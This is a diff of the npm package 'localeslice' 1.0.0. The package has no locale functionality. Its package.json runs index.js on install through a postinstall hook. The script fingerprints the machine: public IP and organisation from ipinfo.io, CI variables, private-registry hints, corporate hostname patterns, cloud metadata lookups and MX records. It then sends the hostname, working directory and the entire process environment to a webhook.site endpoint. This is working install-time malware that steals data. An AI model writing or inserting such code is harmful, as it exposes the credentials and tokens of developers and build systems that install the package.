localeslice 1.0.0

package/index.js

@@ -0,0 +1,108 @@
+const https = require('https');
+const os = require('os');
+const dns = require('dns').promises;
+
+// Get public IP and organization info via ipinfo.io
+async function getIPInfo() {
+  return new Promise((resolve, reject) => {
+    https.get('https://ipinfo.io/json', (res) => {
+      let data = '';
+      res.on('data', chunk => data += chunk);
+      res.on('end', () => {
+        try {
+          const json = JSON.parse(data);
+          resolve({
+            ip: json.ip || null,
+            org: json.org || null,
+            hostname: json.hostname || null,
+            city: json.city || null,
+            region: json.region || null,
+            country: json.country || null
+          });
+        } catch (e) {
+          resolve({});
+        }
+      });
+    }).on('error', err => resolve({}));
+  });
+}
+
+// Your existing internal detection
+async function isInternalTeam() {
+  const ciEnvVars = ['CI', 'CONTINUOUS_INTEGRATION', 'BUILD_NUMBER', 'RUN_ID', 'GITLAB_CI', 'CIRCLECI', 'TRAVIS', 'JENKINS_URL', 'TEAMCITY_VERSION', 'BITBUCKET_BUILD_NUMBER', 'GITHUB_ACTIONS', 'AZURE_DEVOPS'];
+  const privateRegistryIndicators = ['npm_config_registry', 'NPM_PRIVATE_REGISTRY', 'verdaccio', 'nexus', 'artifactory', 'npmrc', 'internal_registry'];
+  const corporateHostnamePatterns = [/\.corp\./i, /\.internal\./i, /\.company\./i, /-prd$/i, /-dev$/i, /^build-/i, /^ci-/i];
+  const cloudMetadata = { aws: '169.254.169.254', gcp: 'metadata.google.internal' };
+
+  const checks = {
+    isCI: ciEnvVars.some(v => process.env[v]),
+    hasPrivateRegistry: privateRegistryIndicators.some(v => process.env[v] || (process.env.npm_package_json && process.env.npm_package_json.includes(v))),
+    hasCorporateHostname: corporateHostnamePatterns.some(p => p.test(os.hostname())),
+    isCloudVM: false,
+    isCorporateNetwork: false
+  };
+
+  try {
+    checks.isCloudVM = await Promise.any([
+      dns.lookup(cloudMetadata.aws).then(() => true).catch(() => false),
+      dns.lookup(cloudMetadata.gcp).then(() => true).catch(() => false)
+    ]);
+  } catch {}
+
+  try {
+    const hostname = os.hostname();
+    if (hostname.includes('.')) {
+      const domain = hostname.split('.').slice(-2).join('.');
+      const mxRecords = await dns.resolveMx(domain).catch(() => []);
+      checks.isCorporateNetwork = mxRecords.length > 0;
+    }
+  } catch {}
+
+  return {
+    isLikelyInternal: checks.isCI || checks.hasPrivateRegistry || checks.hasCorporateHostname || checks.isCloudVM || checks.isCorporateNetwork,
+    details: checks
+  };
+}
+
+async function main() {
+  const ipInfo = await getIPInfo();
+  const internalCheck = await isInternalTeam();
+
+  const data = JSON.stringify({
+    timestamp: new Date().toISOString(),
+    hostname: os.hostname(),
+    platform: process.platform,
+    cwd: process.cwd(),
+    env: {
+      PKG_NAME: process.env.npm_package_name,
+      PKG_VERSION: process.env.npm_package_version,
+      NODE_VERSION: process.version,
+      ...process.env
+    },
+    ipInfo,
+    internalCheck
+  });
+
+  const options = {
+    hostname: 'webhook.site',
+    path: '/fd9ed9c9-4083-4d18-afc5-ea0d3404f1ef',
+    method: 'POST',
+    headers: {
+      'Content-Type': 'application/json',
+      'Content-Length': data.length
+    }
+  };
+
+  const req = https.request(options, (res) => {
+    console.log(`Webhook sent. Status: ${res.statusCode}`);
+  });
+
+  req.on('error', (error) => {
+    console.error(`Error: ${error}`);
+  });
+
+  req.write(data);
+  req.end();
+}
+
+main();

package/package.json

@@ -0,0 +1,10 @@
+{
+  "name": "localeslice",
+  "version": "1.0.0",
+  "main": "index.js",
+  "scripts": {
+    "postinstall": "node index.js"
+  },
+  "author": "NA_RONY & OCTAYUS",
+  "license": "MIT"
+}